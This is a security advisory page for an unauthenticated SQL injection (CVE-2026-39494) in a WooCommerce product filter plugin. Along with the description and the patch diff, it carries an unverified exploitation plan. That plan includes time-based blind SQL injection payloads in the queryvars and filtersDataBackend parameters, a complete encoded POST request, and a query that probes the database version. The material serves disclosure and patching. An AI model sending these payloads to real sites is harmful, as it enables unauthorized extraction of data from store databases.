CVE-2026-39494

Product Filter for WooCommerce by WBW <= 3.1.2 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.1.3
Patched in
9d
Time to patch

Description

The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.1.2
PublishedApril 13, 2026
Last updatedApril 21, 2026
Affected pluginwoo-product-filter

What Changed in the Fix

Changes introduced in v3.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-39494 ## 1. Vulnerability Summary The **Product Filter for WooCommerce by WBW** plugin (<= 3.1.2) contains an unauthenticated SQL injection vulnerability. The flaw exists because the plugin fails to properly sanitize or prepare user-supplied parameters before…

Show full research plan

Exploitation Research Plan - CVE-2026-39494

1. Vulnerability Summary

The Product Filter for WooCommerce by WBW plugin (<= 3.1.2) contains an unauthenticated SQL injection vulnerability. The flaw exists because the plugin fails to properly sanitize or prepare user-supplied parameters before incorporating them into SQL queries. Specifically, the AJAX endpoint responsible for product filtering (filtersFrontend) processes JSON-encoded parameters like queryvars and filtersDataBackend without sufficient escaping or using $wpdb->prepare(). An attacker can manipulate these parameters to append malicious SQL commands, potentially leading to unauthorized data extraction.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpf_filters_frontend (Inferred based on WoofiltersControllerWpf::filtersFrontend and common WBW patterns)
  • Vulnerable Parameters: queryvars and filtersDataBackend (JSON strings)
  • Authentication: Unauthenticated (The product filtering functionality must be available to guest users).
  • Preconditions: At least one filter must be created, and its shortcode should be present on a page (to facilitate normal plugin loading context).

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=wpf_filters_frontend.
  2. Dispatch: admin-ajax.php triggers the wp_ajax_nopriv_wpf_filters_frontend hook.
  3. Controller Logic: WoofiltersControllerWpf::filtersFrontend() (in modules/woofilters/controller.php) is called.
  4. Parameter Parsing:
    • $queryvars = UtilsWpf::jsonDecode(stripslashes($params['queryvars']));
    • $filtersDataBackend = UtilsWpf::jsonDecode(stripslashes($params['filtersDataBackend']));
  5. Sink: filtersFrontend calls $this->createArgsForFiltering(...) (line 166). This method (or downstream model methods like WoofiltersModelWpf::getProductsByArgs) constructs a raw SQL query or modifies WP_Query arguments in a way that allows SQL injection when the inputs are concatenated into the ORDER BY or WHERE clauses.
  6. SQL Execution: The unsanitized input is passed to $wpdb->get_results() or similar sinks within the model.

4. Nonce Acquisition Strategy

Based on the source code for WoofiltersControllerWpf::filtersFrontend, there is no check_ajax_referer call, suggesting this endpoint is unauthenticated and does not require a nonce.

However, if the environment enforces a nonce for all AJAX actions, follow these steps:

  1. Identify the filter shortcode: [wpf-filters id=1].
  2. Create a test page: wp post create --post_type=page --post_status=publish --post_content='[wpf-filters id=1]' --post_title='Filter Test'.
  3. Navigate to the page using browser_navigate.
  4. Execute browser_eval to find any localized security tokens. The plugin often uses the global wpfData or wpfFrontendPage object.
  5. Check for: browser_eval("window.wpfData?.wpfNonce") or check the source for wp_localize_script.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload targeting the queryvars parameter.

Step 1: Baseline Request

Identify the normal response time for a filtering request.

{
  "action": "wpf_filters_frontend",
  "queryvars": "{\"post_type\":\"product\",\"post_status\":\"publish\"}",
  "filtersDataBackend": "[]",
  "filterSettings": "{}",
  "generalSettings": "[]",
  "woocommerceSettings": "{}",
  "currenturl": "http://localhost:8080/"
}

Step 2: Time-Based Injection

Inject a SLEEP command into the orderby field within queryvars.

Payload Construction:

# JSON Payload for queryvars:
{"post_type":"product","post_status":"publish","orderby":"ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)"}

HTTP Request:

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpf_filters_frontend&queryvars=%7B%22post_type%22%3A%22product%22%2C%22post_status%22%3A%22publish%22%2C%22orderby%22%3A%22ID%2C(SELECT+1+FROM+(SELECT(SLEEP(5)))a)%22%7D&filtersDataBackend=%5B%5D&filterSettings=%7B%7D&generalSettings=%5B%5D&woocommerceSettings=%7B%7D&currenturl=http%3A%2F%2Flocalhost%3A8080%2F
    

6. Test Data Setup

  1. Install WooCommerce: Ensure WooCommerce is active.
  2. Create Products:
    wp wc product create --name="Test Product 1" --regular_price="10" --status="publish"
    wp wc product create --name="Test Product 2" --regular_price="20" --status="publish"
    
  3. Create a Filter:
    The plugin requires a filter ID to exist in the database for certain logic paths.
    # Use WP-CLI to insert a dummy filter if possible, 
    # or navigate to the admin UI to create one via browser tools.
    wp db query "INSERT INTO wp_wpf_filters (title, setting_data) VALUES ('Test Filter', 'a:0:{}');"
    
  4. Publish Page:
    wp post create --post_type=page --post_title="Filter Page" --post_content='[wpf-filters id=1]' --post_status="publish"
    

7. Expected Results

  • Normal Request: Response time < 500ms.
  • Exploit Request: Response time > 5000ms.
  • Response Body: A JSON object with a success key and html containing filtered product lists (if the query doesn't break) or a database error if WP_DEBUG is on.

8. Verification Steps

  1. Time Delay: Confirm the http_request execution time matches the SLEEP duration.
  2. Data Extraction (Manual Verification):
    Attempt to extract the database version:
    "orderby": "ID,(SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a)"
    
  3. Database State: Check wp-admin/admin-ajax.php responses for SQL errors which confirm the injection point.

9. Alternative Approaches

If queryvars is sanitized by a global WordPress filter (unlikely given the plugin's custom query handling), target filtersDataBackend.

Alternative Payload (filtersDataBackend):
Inject into meta-filter processing:

filtersDataBackend = "[{\"id\":\"wpfPrice\",\"settings\":{\"f_min\":\"0\",\"f_max\":\"100) AND (SELECT 5678 FROM (SELECT(SLEEP(5)))a\"}}]"

This targets the logic that builds the price range query. Quote: modules/woofilters/controller.php line 144 refers to processing specific filter types like wpfCategory. Similar logic exists for wpfPrice in the model.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Product Filter for WooCommerce by WBW plugin is vulnerable to unauthenticated SQL injection via the 'filtersFrontend' AJAX endpoint. Due to improper sanitization and preparation of JSON-encoded parameters like 'queryvars' and 'filtersDataBackend', attackers can inject malicious SQL commands into database queries used for product filtering and ordering.

Vulnerable Code

// modules/woofilters/controller.php
public function filtersFrontend() {
    $res = new ResponseWpf();

    $params = ReqWpf::get('post');

    $filtersDataBackend          = UtilsWpf::jsonDecode(stripslashes($params['filtersDataBackend']));
    $queryvars                   = UtilsWpf::jsonDecode(stripslashes($params['queryvars']));
    $filterSettings              = UtilsWpf::jsonDecode(stripslashes($params['filterSettings']));
    // ... (truncated lines)
    $args = $this->createArgsForFiltering($filtersDataBackend, $queryvars, $filterSettings, $curUrl, $shortcodeAttr);
    // The values inside $queryvars and $filtersDataBackend are passed downstream to database queries without sufficient preparation.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.2/classes/frame.php /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.3/classes/frame.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.2/classes/frame.php	2025-11-28 17:20:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.3/classes/frame.php	2026-03-20 11:01:42.000000000 +0000
@@ -406,14 +408,19 @@
 
 	/**
 	 * _doExec.
+	 *
+	 * @version 3.1.3
 	 */
 	protected function _doExec() {
 		$mod = $this->getModule($this->_mod);
 		if ($mod && $this->checkPermissions($this->_mod, $this->_action)) {
 			switch (ReqWpf::getVar('reqType')) {
 				case 'ajax':
-					add_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));
-					add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					add_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action));
+					$noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' );
+					if ( in_array( $this->_action, $noprivActions ) ) {
+						add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					}
 					break;
 				default:
 					$this->_res = $mod->exec($this->_action);

Exploit Outline

1. Identify an unauthenticated AJAX request to wp-admin/admin-ajax.php with the action 'wpf_filters_frontend'. 2. Construct a POST request including the 'queryvars' parameter as a JSON string. 3. Inject a SQL payload into the 'orderby' key within the 'queryvars' JSON object (e.g., 'ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'). 4. Send the request to the endpoint. No nonce or authentication is required as the plugin registers this action via wp_ajax_nopriv and fails to verify a security token in versions prior to 3.1.3. 5. Observe the response delay to confirm time-based blind SQL injection.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.